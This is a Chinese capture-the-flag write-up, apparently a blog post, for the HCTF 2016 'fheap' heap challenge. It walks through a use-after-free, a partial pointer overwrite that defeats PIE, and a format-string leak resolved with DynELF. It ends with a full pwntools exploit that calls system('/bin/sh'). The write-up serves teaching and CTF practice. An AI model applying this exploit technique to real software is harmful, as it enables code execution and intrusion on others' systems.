题目:2016HCTF fheap 题目链接

分析二进制文件

mark

除RELRO保护外保护全开,试运行发现是标准的选单式题目且存在create/delete操作,因此可怀疑是堆利用

mark

分析发现程序中的delete操作进行后没有进行至NULL操作,存在UAF漏洞

mark

并且Delete操作是通过结构体内部函数进行的,那么我们可以猜测结构体结构是Data(0x18)+free_fun。也就是说我们可以利用UAF漏洞进行覆盖。

再次观察Creat_string函数,发现该函数做了长度限制:

mark

当申请的字符串长度大于0xF时,程序会再执行一次malloc,然后把新malloc的数据地址存放在第一次malloc的data区。

当数据(Buf)大于0xF时
+++++++++++++++++
|               |
|    Buf_addr   |------->+++++++++++++++++
|               |        |               |
+++++++++++++++++        |      Buf      |
|               |        |               |
|   Free_func   |        +++++++++++++++++
|               |
+++++++++++++++++

那么我们可以覆盖Free_func来leak addr。

Leak addr

我们可以利用UAF漏洞来leak addr。首先create两个相同的string(长度小于0xF)。

create(4,'a')# id:0
create(4,'b')# id:1

然后释放

delete(1)
delete(0)

然后我们create一个长度为0x20的string

create(0x20,data)

这里因为我们申请的长度大于了0xF,因此事实上程序进行了两次malloc(0x20),此时我们就可以操作id为1的chunk的内容,因为程序开启了PIE,因此我们这里可以使用低位覆盖的方式覆盖Free_func指针。

data='a'*0x18+'\x2d'

接下来我们需要接收leak出的addr

delete(1)
p.recvuntil('b'*0x8)
data=p.recvuntil('1.')[:-2]
print data
if len(data)>8:
    data=data[:8]
data=u64(data.ljust(8,'\x00'))-0xA000000000000 
#这里减掉的数是为了防止有\x0a结尾,若无\x0a,则不减掉此数
print hex(data)
proc_base=data-0xd2d
print "proc base",hex(proc_base)

Leak system addr

这里我们利用的是程序里的格式化字符串漏洞,此时我们已经泄露了PIE,那么我们可以劫持PIE到printf,经过调试,我们输入的yes恰好在printf的上方,那么我们可以利用

delete(0)
payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr)
creat(0x20,payload)

劫持PIE到printf并输入了a%9$s作为参数,之后我们利用DynELF(leak_addr, proc_base, elf=ELF('./fheap'))即可利用

最终EXP

from pwn import *
import sys
context.log_level='debug'

fheap=ELF('./fheap')
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./fheap")

def creat(size,creat_str):
    sh.recvuntil('3.quit')
    sh.send('create string')
    sh.recvuntil('Pls give string size:')
    sh.sendline(str(size))   
    sh.recvuntil('str:')
    sh.send(creat_str)   

def delete(str_id):
    sh.recvuntil('3.quit')
    sh.send('delete string')
    sh.recvuntil('Pls give me the string id you want to delete\nid:')
    sh.sendline(str(str_id))   
    sh.recvuntil('Are you sure?:')
    sh.send("yes") 

def leak_addr(addr):
    delete(0)
    payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr)
    creat(0x20,payload)
    sh.recvuntil('3.quit')
    sh.sendline('delete string')   
    sh.recvuntil('Pls give me the string id you want to delete\nid:')
    sh.sendline(str(1))
    sh.recvuntil('Are you sure?:')
    sh.send("yes.1111"+p64(addr)+"\n")  
    sh.recvuntil('a')
    data = sh.recvuntil('####')[:-4]
    if len(data) == 0:
        return '\x00'
    if len(data) <= 8:
        print hex(u64(data.ljust(8,'\x00')))
    return data

# gdb.attach(sh)
creat(4,"aa")
creat(4,"bb")
delete(1)
delete(0)
creat(0x20,'a'*0x14+'b'*4+'\x2d')
delete(1)
sh.recvuntil('bbbb')
data=sh.recvuntil('1.')[:-2]
if len(data)>8:
    data=data[:8]
data=u64(data.ljust(8,'\x00'))-0xA000000000000
proc_base=data-0xd2d
log.success("proc base :"+str(hex(proc_base)))
printf_addr=proc_base+fheap.plt['printf']
delete(0)
creat(0x20,'a'*0x14+'b'*4+'\x2d')
delete(1)  
d = DynELF(leak_addr, proc_base, elf=ELF('./fheap'))
system_addr = d.lookup('system', 'libc')
print 'system_addr:'+hex(system_addr)
delete(0)
creat(0x20,'/bin/sh;' + '#' * (0x18 - len('/bin/sh;')) + p64(system_addr))
delete(1)  
sh.interactive()
# print(sh.recv())

参考链接

  1. UAF (Use After Free)漏洞分析及利用
  2. HCTF 2016 fheap
分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注